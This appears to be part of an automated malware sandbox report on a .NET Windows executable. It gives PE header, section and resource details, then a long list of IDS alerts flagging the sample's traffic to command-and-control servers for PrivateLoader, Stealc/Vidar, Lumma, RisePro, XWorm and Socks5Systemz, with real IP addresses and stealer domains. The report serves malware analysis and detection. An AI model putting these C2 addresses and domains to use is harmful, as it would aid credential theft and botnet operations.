add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x873850	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x876000	0x18810	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x88d198	0x36b0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x890000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x873802	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x8718a4	0x871a00	f9b18ce61a2aba408c6880c636d822a1	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.sdata	0x874000	0x720	0x800	2482544ae168e480893fa644add9c407	False	0.34033203125	data	3.5802351069277947	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x876000	0x18810	0x18a00	9369882c9db87ad249c3dbd7cdc82ba9	False	0.2512690355329949	data	4.957210458302188	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x890000	0xc	0x200	e1265ed4fc54e6343f3af7c9bdd2357d	False	0.044921875	MacBinary, Mon Feb 6 07:28:16 2040 INVALID date, modified Mon Feb 6 07:28:16 2040 "\207"	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x8761c0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 3779 x 3779 px/m	0.4294090056285178
RT_ICON	0x877268	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 3779 x 3779 px/m	0.33713692946058094
RT_ICON	0x879810	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384, resolution 3779 x 3779 px/m	0.2987718469532357
RT_ICON	0x87da38	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536, resolution 3779 x 3779 px/m	0.2189015734058914
RT_GROUP_ICON	0x88e260	0x3e	data	0.7903225806451613
RT_VERSION	0x88e2a0	0x384	data	0.43555555555555553
RT_MANIFEST	0x88e624	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-08-30T03:17:06.076599+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49735	80	192.168.2.4	31.41.244.9
2024-08-30T03:19:07.013895+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49835	80	192.168.2.4	185.196.8.214
2024-08-30T03:19:07.013895+0200	TCP	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	49835	80	192.168.2.4	185.196.8.214
2024-08-30T03:19:09.343472+0200	TCP	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	6677	49820	85.209.133.150	192.168.2.4
2024-08-30T03:17:56.394992+0200	UDP	2055479	ET MALWARE Lumma Stealer Domain in DNS Lookup (locatedblsoqp .shop)	1	54197	53	192.168.2.4	1.1.1.1
2024-08-30T03:19:25.008907+0200	TCP	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	80	49850	147.45.68.138	192.168.2.4
2024-08-30T03:17:41.001205+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49750	80	192.168.2.4	46.8.231.109
2024-08-30T03:18:44.962315+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49816	80	192.168.2.4	185.196.8.214
2024-08-30T03:18:44.962315+0200	TCP	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	49816	80	192.168.2.4	185.196.8.214
2024-08-30T03:19:02.779734+0200	TCP	2853191	ETPRO MALWARE Win32/XWorm V3 CnC Command - savePlugin Inbound	1	6677	49820	85.209.133.150	192.168.2.4
2024-08-30T03:17:06.821198+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49741	443	192.168.2.4	76.76.21.241
2024-08-30T03:17:28.767559+0200	TCP	2046266	ET MALWARE [ANY.RUN] RisePro TCP (Token)	1	50505	49751	77.105.164.24	192.168.2.4
2024-08-30T03:17:08.715226+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49733	80	192.168.2.4	147.45.44.104
2024-08-30T03:17:55.480277+0200	TCP	2055576	ET MALWARE Observed Lumma Stealer Related Domain (awwardwiqi .shop in TLS SNI)	1	49768	443	192.168.2.4	188.114.96.3
2024-08-30T03:17:04.683191+0200	TCP	2054711	ET MALWARE PrivateLoader CnC Activity (POST)	1	49730	80	192.168.2.4	195.10.205.48
2024-08-30T03:18:36.361960+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49808	80	192.168.2.4	185.196.8.214
2024-08-30T03:18:36.361960+0200	TCP	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	49808	80	192.168.2.4	185.196.8.214
2024-08-30T03:19:15.262017+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49844	80	192.168.2.4	185.196.8.214
2024-08-30T03:19:15.262017+0200	TCP	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	49844	80	192.168.2.4	185.196.8.214
2024-08-30T03:18:13.044177+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	49789	443	192.168.2.4	94.130.188.148
2024-08-30T03:18:30.007392+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49800	80	192.168.2.4	185.196.8.214
2024-08-30T03:18:30.007392+0200	TCP	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	49800	80	192.168.2.4	185.196.8.214
2024-08-30T03:19:09.677328+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49838	80	192.168.2.4	185.196.8.214
2024-08-30T03:19:09.677328+0200	TCP	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	49838	80	192.168.2.4	185.196.8.214
2024-08-30T03:17:54.248293+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	49767	443	192.168.2.4	94.130.188.148
2024-08-30T03:16:58.560515+0200	TCP	2054709	ET MALWARE PrivateLoader CnC Activity (GET)	1	49730	80	192.168.2.4	195.10.205.48
2024-08-30T03:17:07.787915+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49733	80	192.168.2.4	147.45.44.104
2024-08-30T03:18:46.885662+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49818	80	192.168.2.4	185.196.8.214
2024-08-30T03:18:46.885662+0200	TCP	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	49818	80	192.168.2.4	185.196.8.214
2024-08-30T03:19:08.740773+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49837	80	192.168.2.4	185.196.8.214
2024-08-30T03:19:08.740773+0200	TCP	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	49837	80	192.168.2.4	185.196.8.214
2024-08-30T03:19:24.333695+0200	TCP	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	80	49851	147.45.68.138	192.168.2.4
2024-08-30T03:17:30.867604+0200	TCP	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	80	49750	46.8.231.109	192.168.2.4
2024-08-30T03:17:56.667931+0200	TCP	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	443	49769	94.130.188.148	192.168.2.4
2024-08-30T03:19:19.192132+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49848	80	192.168.2.4	185.196.8.214
2024-08-30T03:19:19.192132+0200	TCP	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	49848	80	192.168.2.4	185.196.8.214
2024-08-30T03:18:33.332010+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	49803	443	192.168.2.4	94.130.188.148
2024-08-30T03:19:24.953951+0200	TCP	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	80	49851	147.45.68.138	192.168.2.4
2024-08-30T03:18:11.340983+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	49788	443	192.168.2.4	94.130.188.148
2024-08-30T03:17:37.709777+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49750	80	192.168.2.4	46.8.231.109
2024-08-30T03:18:37.903493+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49809	80	192.168.2.4	185.196.8.214
2024-08-30T03:18:37.903493+0200	TCP	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	49809	80	192.168.2.4	185.196.8.214
2024-08-30T03:18:52.270759+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49823	80	192.168.2.4	185.196.8.214
2024-08-30T03:18:52.270759+0200	TCP	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	49823	80	192.168.2.4	185.196.8.214
2024-08-30T03:18:57.837162+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49827	80	192.168.2.4	185.196.8.214
2024-08-30T03:18:57.837162+0200	TCP	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	49827	80	192.168.2.4	185.196.8.214
2024-08-30T03:17:06.580047+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49733	80	192.168.2.4	147.45.44.104
2024-08-30T03:19:14.413621+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49843	80	192.168.2.4	185.196.8.214
2024-08-30T03:19:14.413621+0200	TCP	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	49843	80	192.168.2.4	185.196.8.214
2024-08-30T03:17:49.729520+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49763	80	192.168.2.4	147.45.44.104
2024-08-30T03:17:31.046923+0200	TCP	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	49750	80	192.168.2.4	46.8.231.109
2024-08-30T03:19:21.635491+0200	TCP	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	49820	6677	192.168.2.4	85.209.133.150
2024-08-30T03:18:47.968439+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49819	80	192.168.2.4	185.196.8.214
2024-08-30T03:18:47.968439+0200	TCP	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	49819	80	192.168.2.4	185.196.8.214
2024-08-30T03:18:41.792068+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49812	80	192.168.2.4	185.196.8.214
2024-08-30T03:18:41.792068+0200	TCP	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	49812	80	192.168.2.4	185.196.8.214
2024-08-30T03:18:14.762586+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	49790	443	192.168.2.4	94.130.188.148
2024-08-30T03:18:36.451666+0200	TCP	2054495	ET MALWARE Vidar Stealer Form Exfil	1	49807	80	192.168.2.4	95.164.119.162
2024-08-30T03:19:18.312349+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49847	80	192.168.2.4	185.196.8.214
2024-08-30T03:19:18.312349+0200	TCP	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	49847	80	192.168.2.4	185.196.8.214
2024-08-30T03:18:05.705145+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	49781	443	192.168.2.4	94.130.188.148
2024-08-30T03:17:06.776998+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49734	80	192.168.2.4	147.45.44.104
2024-08-30T03:18:54.152039+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49824	80	192.168.2.4	185.196.8.214
2024-08-30T03:18:54.152039+0200	TCP	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	49824	80	192.168.2.4	185.196.8.214
2024-08-30T03:17:58.158072+0200	TCP	2055493	ET MALWARE Lumma Stealer Domain in TLS SNI (traineiwnqo .shop)	1	49774	443	192.168.2.4	188.114.96.3
2024-08-30T03:18:09.447286+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	49787	443	192.168.2.4	94.130.188.148
2024-08-30T03:17:31.860392+0200	TCP	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	80	49750	46.8.231.109	192.168.2.4
2024-08-30T03:19:24.390350+0200	TCP	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	80	49850	147.45.68.138	192.168.2.4
2024-08-30T03:18:04.383927+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	49780	443	192.168.2.4	94.130.188.148
2024-08-30T03:19:02.934957+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49831	80	192.168.2.4	185.196.8.214
2024-08-30T03:19:02.934957+0200	TCP	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	49831	80	192.168.2.4	185.196.8.214
2024-08-30T03:18:29.045645+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49798	80	192.168.2.4	185.196.8.214
2024-08-30T03:18:29.045645+0200	TCP	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	49798	80	192.168.2.4	185.196.8.214
2024-08-30T03:19:12.548856+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49841	80	192.168.2.4	185.196.8.214
2024-08-30T03:19:12.548856+0200	TCP	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	49841	80	192.168.2.4	185.196.8.214
2024-08-30T03:18:26.567722+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	49796	80	192.168.2.4	185.215.113.100
2024-08-30T03:17:44.412761+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49750	80	192.168.2.4	46.8.231.109
2024-08-30T03:18:21.262740+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	49793	443	192.168.2.4	94.130.188.148
2024-08-30T03:17:14.522771+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49734	80	192.168.2.4	147.45.44.104
2024-08-30T03:18:49.064854+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49821	80	192.168.2.4	185.196.8.214
2024-08-30T03:18:49.064854+0200	TCP	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	49821	80	192.168.2.4	185.196.8.214
2024-08-30T03:19:07.863067+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49836	80	192.168.2.4	185.196.8.214
2024-08-30T03:19:07.863067+0200	TCP	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	49836	80	192.168.2.4	185.196.8.214
2024-08-30T03:18:01.037640+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	49778	443	192.168.2.4	94.130.188.148
2024-08-30T03:17:06.336770+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49737	80	192.168.2.4	176.113.115.33
2024-08-30T03:17:31.703607+0200	TCP	2046269	ET MALWARE [ANY.RUN] RisePro TCP (Activity)	1	49751	50505	192.168.2.4	77.105.164.24
2024-08-30T03:17:31.703607+0200	TCP	2049060	ET MALWARE RisePro TCP Heartbeat Packet	1	49751	50505	192.168.2.4	77.105.164.24
2024-08-30T03:19:09.246797+0200	TCP	2855924	ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound	1	49820	6677	192.168.2.4	85.209.133.150
2024-08-30T03:18:38.999468+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49810	80	192.168.2.4	185.196.8.214
2024-08-30T03:18:38.999468+0200	TCP	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	49810	80	192.168.2.4	185.196.8.214
2024-08-30T03:18:33.297168+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49800	80	192.168.2.4	185.196.8.214
2024-08-30T03:18:33.297168+0200	TCP	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	49800	80	192.168.2.4	185.196.8.214
2024-08-30T03:19:21.632686+0200	TCP	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	6677	49820	85.209.133.150	192.168.2.4
2024-08-30T03:18:06.879936+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	49782	443	192.168.2.4	94.130.188.148
2024-08-30T03:18:42.761668+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49813	80	192.168.2.4	185.196.8.214
2024-08-30T03:18:42.761668+0200	TCP	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	49813	80	192.168.2.4	185.196.8.214
2024-08-30T03:19:05.910145+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49834	80	192.168.2.4	185.196.8.214
2024-08-30T03:19:05.910145+0200	TCP	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	49834	80	192.168.2.4	185.196.8.214
2024-08-30T03:17:51.961586+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	49765	443	192.168.2.4	94.130.188.148
2024-08-30T03:19:04.863786+0200	TCP	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	6677	49820	85.209.133.150	192.168.2.4
2024-08-30T03:19:04.863786+0200	TCP	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	6677	49820	85.209.133.150	192.168.2.4
2024-08-30T03:19:01.950966+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49830	80	192.168.2.4	185.196.8.214
2024-08-30T03:19:01.950966+0200	TCP	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	49830	80	192.168.2.4	185.196.8.214
2024-08-30T03:17:43.467823+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49750	80	192.168.2.4	46.8.231.109
2024-08-30T03:17:57.407979+0200	TCP	2049836	ET MALWARE Lumma Stealer Related Activity	1	49770	443	192.168.2.4	188.114.96.3
2024-08-30T03:17:57.407979+0200	TCP	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	49770	443	192.168.2.4	188.114.96.3
2024-08-30T03:18:40.838143+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49811	80	192.168.2.4	185.196.8.214
2024-08-30T03:18:40.838143+0200	TCP	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	49811	80	192.168.2.4	185.196.8.214
2024-08-30T03:19:02.578172+0200	TCP	2853192	ETPRO MALWARE Win32/XWorm V3 CnC Command - sendPlugin Outbound	1	49820	6677	192.168.2.4	85.209.133.150
2024-08-30T03:17:55.740564+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	49769	443	192.168.2.4	94.130.188.148
2024-08-30T03:18:16.743976+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	49791	443	192.168.2.4	94.130.188.148
2024-08-30T03:17:12.976627+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49733	80	192.168.2.4	147.45.44.104
2024-08-30T03:17:57.557997+0200	UDP	2055483	ET MALWARE Lumma Stealer Domain in DNS Lookup (traineiwnqo .shop)	1	59649	53	192.168.2.4	1.1.1.1
2024-08-30T03:18:26.984364+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	49797	443	192.168.2.4	94.130.188.148
2024-08-30T03:19:17.208284+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49846	80	192.168.2.4	185.196.8.214
2024-08-30T03:19:17.208284+0200	TCP	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	49846	80	192.168.2.4	185.196.8.214
2024-08-30T03:17:58.300645+0200	TCP	2049836	ET MALWARE Lumma Stealer Related Activity	1	49774	443	192.168.2.4	188.114.96.3
2024-08-30T03:17:58.300645+0200	TCP	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	49774	443	192.168.2.4	188.114.96.3
2024-08-30T03:17:02.978783+0200	TCP	2054711	ET MALWARE PrivateLoader CnC Activity (POST)	1	49730	80	192.168.2.4	195.10.205.48
2024-08-30T03:19:10.625006+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49839	80	192.168.2.4	185.196.8.214
2024-08-30T03:19:10.625006+0200	TCP	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	49839	80	192.168.2.4	185.196.8.214
2024-08-30T03:17:55.979414+0200	TCP	2049836	ET MALWARE Lumma Stealer Related Activity	1	49768	443	192.168.2.4	188.114.96.3
2024-08-30T03:17:55.979414+0200	TCP	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	49768	443	192.168.2.4	188.114.96.3
2024-08-30T03:17:12.689373+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49733	80	192.168.2.4	147.45.44.104
2024-08-30T03:17:57.522443+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	49773	443	192.168.2.4	94.130.188.148
2024-08-30T03:19:11.608307+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49840	80	192.168.2.4	185.196.8.214
2024-08-30T03:19:11.608307+0200	TCP	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	49840	80	192.168.2.4	185.196.8.214
2024-08-30T03:19:16.217382+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49845	80	192.168.2.4	185.196.8.214
2024-08-30T03:19:16.217382+0200	TCP	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	49845	80	192.168.2.4	185.196.8.214
2024-08-30T03:17:28.554052+0200	TCP	2046266	ET MALWARE [ANY.RUN] RisePro TCP (Token)	1	50505	49751	77.105.164.24	192.168.2.4
2024-08-30T03:17:30.668335+0200	TCP	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	49750	80	192.168.2.4	46.8.231.109
2024-08-30T03:19:09.375060+0200	TCP	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	49820	6677	192.168.2.4	85.209.133.150
2024-08-30T03:17:09.283400+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49734	80	192.168.2.4	147.45.44.104
2024-08-30T03:18:00.263887+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	49777	443	192.168.2.4	94.130.188.148
2024-08-30T03:18:29.319129+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	49799	443	192.168.2.4	94.130.188.148
2024-08-30T03:18:25.229889+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	49795	443	192.168.2.4	94.130.188.148
2024-08-30T03:17:32.774950+0200	TCP	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	49750	80	192.168.2.4	46.8.231.109
2024-08-30T03:18:35.354012+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49806	80	192.168.2.4	185.196.8.214
2024-08-30T03:18:35.354012+0200	TCP	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	49806	80	192.168.2.4	185.196.8.214
2024-08-30T03:18:58.882680+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49828	80	192.168.2.4	185.196.8.214
2024-08-30T03:18:58.882680+0200	TCP	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	49828	80	192.168.2.4	185.196.8.214
2024-08-30T03:19:00.294602+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49829	80	192.168.2.4	185.196.8.214
2024-08-30T03:19:00.294602+0200	TCP	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	49829	80	192.168.2.4	185.196.8.214
2024-08-30T03:17:01.778636+0200	TCP	2054710	ET MALWARE PrivateLoader CnC Response	1	80	49730	195.10.205.48	192.168.2.4
2024-08-30T03:18:23.139686+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	49794	443	192.168.2.4	94.130.188.148
2024-08-30T03:17:58.198157+0200	TCP	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST	1	49773	443	192.168.2.4	94.130.188.148
2024-08-30T03:17:58.198317+0200	TCP	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	443	49773	94.130.188.148	192.168.2.4
2024-08-30T03:18:18.061636+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	49792	443	192.168.2.4	94.130.188.148
2024-08-30T03:18:43.976018+0200	TCP	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	49815	80	192.168.2.4	185.196.8.214
2024-08-30T03:18:43.976018+0200	TCP	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	49815	80	192.168.2.4	185.196.8.214
2024-08-30T03:18:00.873481+0200	TCP	2055493	ET MALWARE Lumma Stealer Domain in TLS SNI (traineiwnqo .shop)	1	49779	443	192.168.2.4	188.114.96.3
